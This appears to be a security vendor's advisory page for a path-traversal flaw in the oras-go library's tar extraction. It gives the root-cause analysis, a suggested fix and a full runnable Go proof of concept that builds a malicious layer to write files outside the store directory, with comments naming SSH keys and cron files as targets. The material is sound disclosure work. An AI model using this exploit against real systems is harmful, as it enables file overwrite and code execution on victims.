CVE-2026-85731

CVE-2026-85731 is a high-severity path traversal vulnerability in oras.land/oras-go/v2 (go), affecting versions <= 2.6.1. It is fixed in 2.6.2.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)

The content/file.Store in oras-go v2 unpacks OCI layer tarballs when a descriptor carries io.deis.oras.content.unpack=true. The extraction routine validates symlink targets purely lexically (filepath.Join) and, for regular files placed directly at the extraction root, skips the parent-symlink Lstat walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default AllowPathTraversalOnWrite=false configuration, a canonical tar-slip → RCE primitive.

Details

Affected versions: <= v2.6.1

Entry point: content/file/file.go line 486, (*Store).pushDir, reached from (*Store).Push for any descriptor whose annotations include io.deis.oras.content.unpack: "true" (i.e. file.AnnotationUnpack) and an org.opencontainers.image.title. oras.Copy from a remote registry into a file.New(dir) store invokes this per layer.

Root cause 1, lexical link validation. content/file/utils.go lines 264–275, ensureLinkPath:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
        // resolve link
        path := target
        if !filepath.IsAbs(target) {
                path = filepath.Join(filepath.Dir(link), target)
        }
        // ensure path is under baseAbs or baseRel
        if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
                return "", err
        }
        return target, nil
}

filepath.Join cleans .. components textually and does not dereference symlinks in intermediate components. It therefore cannot detect that a component of target is itself a previously-extracted symlink that the kernel will follow before applying subsequent .. components.

Root cause 2, parent-symlink check skipped for root-level entries. content/file/utils.go lines 247–257, inside resolveRelToBase:

// No symbolic link allowed in the relative path
dir := filepath.Dir(path)
for dir != "." {
        if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {
                ...
        } else if info.Mode()&os.ModeSymlink != 0 {
                return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target)
        }
        dir = filepath.Dir(dir)
}

For an entry named <title>/escape, path == "escape" and filepath.Dir("escape") == ".", so the loop body never executes, the entry itself is never Lstat-checked.

Root cause 3, write follows symlinks. content/file/utils.go line 279, writeFile:

file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)

No O_NOFOLLOW, so if path is a symlink the write goes to its target.

Data flow / exploit construction. Let baseAbs = <workingDir>/<title> and N = depth(baseAbs) (number of path components from /). The attacker's tar.gz contains, in order:

  1. N nested directories <title>/d0/d1/…/d{N-1}.
  2. A symlink <title>/d0/…/d{N-1}/up"../../…" (N levels). Both lexically and on disk this resolves to baseAbs, so ensureLinkPath accepts it and resolveRelToBase sees only real directories in its ancestry.
  3. A symlink <title>/escape"d0/…/d{N-1}/up/../../…/<absTarget>" (N .. components after up). Lexically, filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>") cancels the N .. against up plus d{N-2}…d0, yielding baseAbs/d0/<absTarget>, inside the root, so ensureLinkPath accepts it. resolveRelToBase then walks d0/<absTarget-parents>, none of which are symlinks (they don't exist), so the link is created. At the kernel, resolving baseAbs/d0/…/up first follows up back to baseAbs, and the remaining N .. components climb from baseAbs to /, then <absTarget> is appended, the symlink points at the attacker-chosen absolute path.
  4. A regular file <title>/escape (same name). resolveRelToBase("escape") yields dir == "." (root cause 2), so no Lstat is performed. extractTarDirectory (line 181) calls writeFile which opens baseAbs/escape with O_TRUNC and no O_NOFOLLOW (root cause 3), writing the attacker's payload through the symlink to <absTarget>.

Why v2.6.1's checkSymlinkEscape does not help. The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from resolveWritePath (content/file/file.go line 632) on the pushFile path. pushDirextractTarGzipextractTarDirectory never calls it; content/file/utils.go is byte-identical between v2.6.0 and v2.6.1.

Suggested remediation. Any of: (a) Lstat the final path component before opening for write and reject symlinks; (b) open with O_NOFOLLOW (or O_EXCL for new files); (c) resolve link targets with filepath.EvalSymlinks on the deepest existing ancestor (as checkSymlinkEscape already does) instead of lexical filepath.Join; (d) extract into a fresh empty directory and use openat2(RESOLVE_BENEATH) / os.Root (Go 1.24+) for all filesystem operations.

PoC

go mod init poc
go get oras.land/oras-go/[email protected]
go run .
// Arbitrary file write outside a default-configured file.Store via
// symlink-chain bypass in content/file.extractTarDirectory.
//
// ensureLinkPath() validates symlink targets purely lexically with
// filepath.Join, which collapses ".." textually and does not follow
// intermediate symlink components. By first planting a deep "up" symlink
// that legitimately resolves to the extraction root, an "escape" symlink
// can be crafted whose lexical target stays in-bounds but whose
// kernel-resolved target is any absolute path. A follow-up TypeReg entry
// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),
// writing through the symlink.
//
// Realistic trigger: oras.Copy() from an untrusted registry into a
// file.New() store. The attacker controls the manifest (sets
// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.
// All digests are honest, so content verification passes.
package main

import (
        "archive/tar"
        "bytes"
        "compress/gzip"
        "context"
        _ "crypto/sha256"
        "fmt"
        "os"
        "path/filepath"
        "strings"

        "github.com/opencontainers/go-digest"
        ocispec "github.com/opencontainers/image-spec/specs-go/v1"
        "oras.land/oras-go/v2/content/file"
)

func main() {
        if err := run(); err != nil {
                fmt.Println("ERROR:", err)
                os.Exit(1)
        }
}

func run() error {
        ctx := context.Background()

        // Victim's working directory for the file store.
        workDir, err := os.MkdirTemp("", "oras-victim-*")
        if err != nil {
                return err
        }
        defer os.RemoveAll(workDir)
        fmt.Println("[*] file.Store working dir:", workDir)

        // Target path the attacker wants to write, OUTSIDE workDir.
        // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;
        // a temp path keeps the demo self-contained.)
        outsidePath := filepath.Join(os.TempDir(), "oras-PWNED")
        _ = os.Remove(outsidePath)
        defer os.Remove(outsidePath)
        fmt.Println("[*] attacker target (outside workDir):", outsidePath)

        // The layer's AnnotationTitle. extractTarDirectory uses this as both the
        // in-tar prefix and the on-disk subdir under workDir.
        const title = "out"
        baseAbs := filepath.Join(workDir, title)

        // N nested dirs + a symlink "up" -> N*"../" so that after the kernel
        // follows "up" (landing at baseAbs) the remaining N lexical ".."
        // components climb from baseAbs to "/". N must be >= depth(baseAbs).
        depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/"))
        fmt.Printf("[*] baseAbs depth = %d, building %d nested dirs\n", depth, depth)

        gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)
        if err != nil {
                return err
        }

        // Descriptor exactly as it would appear in a manifest's "layers" array.
        desc := ocispec.Descriptor{
                MediaType: "application/vnd.oci.image.layer.v1.tar+gzip",
                Digest:    dgst,
                Size:      size,
                Annotations: map[string]string{
                        ocispec.AnnotationTitle: title,
                        file.AnnotationUnpack:   "true",
                },
        }

        // Victim creates a file store with default settings (path traversal DISALLOWED).
        store, err := file.New(workDir)
        if err != nil {
                return err
        }
        defer store.Close()
        fmt.Println("[*] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite)

        // This is exactly what oras.Copy() invokes per layer.
        if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {
                return fmt.Errorf("Push: %w", err)
        }

        // Check whether the out-of-tree file was written.
        if data, err := os.ReadFile(outsidePath); err == nil {
                rel, _ := filepath.Rel(workDir, outsidePath)
                fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath)
                fmt.Printf("[!] relative to workDir: %s\n", rel)
                fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir")
                return nil
        }
        fmt.Println("\n[-] no escape (file not created at", outsidePath, ")")
        return nil
}

// buildMaliciousLayer builds a tar.gz that, when extracted by
// content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath.
func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {
        var buf bytes.Buffer
        gzw := gzip.NewWriter(&buf)
        tw := tar.NewWriter(gzw)

        // 1. Nested directories: title/d0/d1/.../d{depth-1}
        dirs := make([]string, depth)
        for i := 0; i < depth; i++ {
                dirs[i] = fmt.Sprintf("d%d", i)
        }
        for i := 1; i <= depth; i++ {
                name := title + "/" + strings.Join(dirs[:i], "/")
                if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {
                        return nil, "", 0, err
                }
        }

        // 2. "up" symlink at the bottom, pointing back to baseAbs via depth*"../".
        //    Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.
        upName := title + "/" + strings.Join(dirs, "/") + "/up"
        upTarget := strings.Repeat("../", depth-1) + ".."
        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {
                return nil, "", 0, err
        }

        // 3. "escape" symlink at title/escape.
        //    Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath>
        //    LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving
        //      d0/<outsidePath>  - INSIDE baseAbs, so ensureLinkPath accepts it.
        //    KERNEL: d0/.../up follows the symlink to baseAbs, then N*".."
        //      climbs to "/", then appends outsidePath.
        dots := strings.Repeat("../", depth-1) + ".."
        escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath
        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil {
                return nil, "", 0, err
        }

        // 4. Regular file entry at title/escape - same path as the symlink.
        //    resolveRelToBase("escape") has dir=="." so the per-component Lstat
        //    loop never runs; writeFile opens with O_CREATE|O_TRUNC (no
        //    O_NOFOLLOW) and writes through the symlink to outsidePath.
        payload := []byte("PWNED-BY-ORAS-TARSLIP")
        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil {
                return nil, "", 0, err
        }
        if _, err := tw.Write(payload); err != nil {
                return nil, "", 0, err
        }

        if err := tw.Close(); err != nil {
                return nil, "", 0, err
        }
        if err := gzw.Close(); err != nil {
                return nil, "", 0, err
        }

        data := buf.Bytes()
        return data, digest.FromBytes(data), int64(len(data)), nil
}

Expected output (paths vary):

[*] file.Store working dir: /tmp/oras-victim-209731351
[*] attacker target (outside workDir): /tmp/oras-PWNED
[*] baseAbs depth = 3, building 3 nested dirs
[*] store.AllowPathTraversalOnWrite = false

[!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED
[!] relative to workDir: ../oras-PWNED
[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir

Impact

Who is affected: Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a content/file.Store, e.g. oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts), the documented primary use of the file store, with default settings (AllowPathTraversalOnWrite=false, SkipUnpack=false). Downstream consumers include the ORAS CLI (oras pull to a directory) and tools built on oras-go that materialise artifact contents on disk.

What the attacker gains: Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting ~/.ssh/authorized_keys, ~/.bashrc/~/.profile, Git hooks, or (when running as root, e.g. in CI or a controller) /etc/cron.d/* or binaries on $PATH, i.e. remote code execution on the victim host.

Preconditions / reachability: No local preconditions beyond pulling an attacker-controlled artifact; the attacker does not need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (UI:R).

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-85731 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.6.2); upgrading removes the vulnerable code path.

Affected versions

oras.land/oras-go/v2 (<= 2.6.1)

Security releases

oras.land/oras-go/v2 → 2.6.2 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade oras.land/oras-go/v2 to 2.6.2 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-85731? CVE-2026-85731 is a high-severity path traversal vulnerability in oras.land/oras-go/v2 (go), affecting versions <= 2.6.1. It is fixed in 2.6.2. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-85731? CVE-2026-85731 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of oras.land/oras-go/v2 are affected by CVE-2026-85731? oras.land/oras-go/v2 (go) versions <= 2.6.1 is affected.
  4. Is there a fix for CVE-2026-85731? Yes. CVE-2026-85731 is fixed in 2.6.2. Upgrade to this version or later.
  5. Is CVE-2026-85731 exploitable, and should I be worried? Whether CVE-2026-85731 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-85731 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-85731? Upgrade oras.land/oras-go/v2 to 2.6.2 or later.

Stop the waste.
Protect your environment with Kodem.